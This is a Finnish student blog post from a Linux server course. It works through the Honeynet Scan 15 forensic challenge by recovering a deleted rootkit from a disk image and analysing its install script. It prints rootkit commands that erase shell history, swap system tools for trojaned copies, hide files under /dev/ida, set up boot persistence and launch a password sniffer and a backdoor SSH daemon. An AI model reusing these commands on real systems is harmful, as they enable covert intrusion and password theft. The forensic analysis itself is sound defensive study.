Joni Junni

Linux palvelimena: palvelinmurron tutkintaa

Categories: [school]
Tags: [linux-server-course], [security], [pentesting]

22.1.2013 klo 17.39

Kotitehtävän tarkoituksena oli löytää saastuneen palvelimen juuriosiosta otetusta levykuvasta haittaohjelma se selvittää kuka sen on tehnyt ja mitä se tekee/on tehnyt palvelimelle. Tehtävänannon ja saastuneen levykuvan löydät täältä: http://old.honeynet.org/scans/scan15

Aloitin tehtävän käynnistämällä Xubuntun live-cd:n virtuaalikoneessa saastuneen levykuvan tutkimista varten. Määritin virtuaalikoneeseen seuraavanlaiset ominaisuudet:

Virtualisointiohjelmisto: VMWare Fusion 5.0.2
Prosessori: 1 ydin
Muisti: 1024 megatavua
Kovalevy: ei ole, buutataan live-imagelta
1 verkkokortti, NAT-moodissa

Asensin The Sleuth Kitin jotta pääsin tutkimaan ja palauttamaan tiedostoja saastuneelta levykuvalta komennolla:

sudo apt-get update | sudo apt-get install sleuthkit

Tämän jälkeen latasin saastuneen levykuvan tehtävänannon sivulta(http://old.honeynet.org/scans/scan15), purin sen ja siirryin juuri luotuun hakemistoon:

tar -xf honeypot.tar.gz
cd honeypot/

Tehtävässä mainittiin että haittaohjelma oli poistettu. Käytin Sleuthkitin tsk_recover-työkalua (Kiitokset Tero Karviselle tästä vinkistä) jotta saisin palautettua poistetut tiedostot levykuvalta:

tsk_recover honeypot.hda8.dd unallocated

Mounttasin levykuvan honeypot -hakemistoon tarkempaa tutkimista varten:

mkdir honeypot
sudo mount honeypot.hda8.dd honeypot/

Haittaohjelman löytäminen

22.1.2013 klo 18.22

Haittaohjelma löytyi suht helposti kun tiedettiin tehtävän kuvauksesta että se on poistettu. Tällöin voidaan olettaa, että jos tiedostoa ei ole ylikirjoitettu, se löytyy tsk_recover-komennon luomasta unallocated-hakemistosta palautettuna.

Kun siirryin unallocated-hakemistoon, löysin sieltä hyvinkin epäilyttävän näköisen tarball-paketin. Purin paketin ja BINGO, sieltähän ne pöpön tiedostot löytyivät:

tar -xf last.tgz
cd last
ls -l

rootkitlistaus

Hakemistossa on “install”-skripti. Tarkastellaanpa lähemmin mitä se tekee:

Rootkin asennuskripti

installskripti1

installskripti2

installskripti3

Ensiksi skripti tyhjentää ruudun sekä poistaa HISTFILE-ympäristömuuttujan:

clear
unset HISTFILE

Sitten käydään läpi onko make, gcc-kääntäjä ja ssh-daemon asennettuna. Tämän jälkeen korvataan järjestelmän ohjelmia saastuneilla. Kaikki korvattavat ohjelmat ovat sellaisia mitkä voisivat näyttää rootkitin olemassaolon ja siksi rootkit vaihtaa ne piiloutuakseen järjestelmään:

rm -rf /sbin/ifconfig
mv ifconfig /sbin/ifconfig
rm -rf /bin/netstat
mv netstat /bin/netstat
rm -rf /bin/ps
mv ps /bin/ps
rm -rf /usr/bin/top
mv top /usr/bin/top
cp -f mkxfs /usr/sbin/

Ylläoleva viimeinen rivi kopioi paketissa olleen mkxfs-ohjelman /usr/sbin-hakemistoon. Google osasi kertoa että kyseessä olisi jokin tiedostojärjestelmän luomisohjelma: http://www.fiveanddime.net/man-pages/mkxfs.8.html. Näin ei kuitenkaan ole tässä tapauksessa, vaan ohjelma vaikuttaisi olevan ssh-daemon uudelleennimettynä(Tämän sain selville vilkaisemalla lsattr-tiedostoa edempänä):

mkxfs

Tämän jälkeen skripti luo tiedoston /dev/rpm, johon se listaa ohjelmien nimiä. En tiedä miksi, mutta luulisin että siihen listautuu ohjelmat, jotka rootkit haluaa pitää piilossa näkyviltä. Se luo myös tiedoston /dev/last-johon kirjoitetaan numeroita, jotka vaikuttavat ip-osotteiden osilta ja osa prosessien PID-numeroilta.

Piilohakemistot /dev/ida/.drag-on ja “.. “

Skripti luo /dev/ida-hakemistoon hakemistot “drag-on” ja “.. “, jonne se kopioi samat tiedostot ja sen jälkeen poistaa alkuperäiset:

mkdir -p /dev/ida/.drag-on
mkdir -p /dev/ida/".. "
cp linsniffer logclear sense sl2 mkxdfs s ssh_host_key ssh_random_seed /dev/ida/.drag-on/
cp linsniffer logclear sense sl2 mkxdfs s ssh_host_key ssh_random_seed /dev/ida/".. "
rm -rf linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed
touch /dev/ida/.drag-on/tcp.log
touch /dev/ida/".. "/tcp.log

Linsniffer on jonkinlainen salasanojenhaisteluohjelma, joka haistelee salasanoja verkkoliikenteestä. Tarkastellessani /dev/ida/.drag-on/tcp.log-tiedostoa tajusin sen olevan loki linsnifferistä, josta on suodatettu kaikki muu pois paitsi salasanat ja hostnamet:

tcplog

logclear ja sense-ohjelmat ovat perl-skriptejä jotka hoitavat linsnifferin lokin suodattamisen ja siivoamisen. ssh-tiedostot ovat takaportin asettamista varten.

Skripti ylikirjoittaa /etc/inetd.conf ja /etc/services-tiedostot järjestelmässä asettaakseen oman pop3-palvelun:

pop3

Tämän jälkeen poistetaan /usr/bin/lsattr, lisätään /etc/rc.d/rc.sysinit-tiedostoon uusi rivi automaattista käynnistystä varten ja lopuksi kopioidaan rootkitin oma lsattr-tiedosto takaisin /usr/bin-hakemistoon:

rm -rf /usr/bin/lsattr
echo "/usr/bin/lsattr -t1 -X53 -p" >> /etc/rc.d/rc.sysinit
echo >> /etc/rc.d/rc.sysinit
cp -f lsattr /usr/bin/
chmod 500 /usr/bin/lsattr
chattr +i /usr/bin/lsattr
/usr/bin/lsattr
sleep 1

Katsotaampa mitä lsattr-tiedosto sisältää:

#!/bin/sh
cd /dev/ida/.drag-on
./mkxfs -f ./s
./linsniffer >> ./tcp.log &
cd /

lsattr siis ajetaan koneen käynnistyksessä. Skripti siirtyy /dev/ida/.drag-on-hakemistoon ja ajaa sieltä mkxfs ja linsnifferin. Mkxfs on todellisuudessa ssh-daemon, jota ajetaan s-tiedostosta haetuilla asetuksilla. Kun tarkastellaan mitä s-tiedostossa on, saadaan selville että mkxfs onkin ssh-daemon, jota ajetaan portissa 5:

last.cgi

lsattr-tiedoston tuunailun jälkeen skripti näyttää etsivän paikkaa last.cgi-tiedostolle. Tarkastellessani tiedostoa catilla sain selville sen olevan toinen takaportti järjestelmään komentojen antamista varten:

Tietojen keräys ja lähetys

Kun last.cgi-loopit on käyty läpi, skripti kerää tietokoneesta tietoa verkosta, raudasta ja konfiguraatiosta, se lähettää ne eteenpäin sähköpostitse kahteen osoitteeseen:

Lopuksi se siivoaa jälkensä ja poistaa last-hakemiston, tarballin ja computer-tiedoston.

Bonuskysymyksessä kysyttiin tehtäväannossa oliko haittaohjelma asennettuna järjestelmään. Vastaus on kyllä, koska:

Lähteet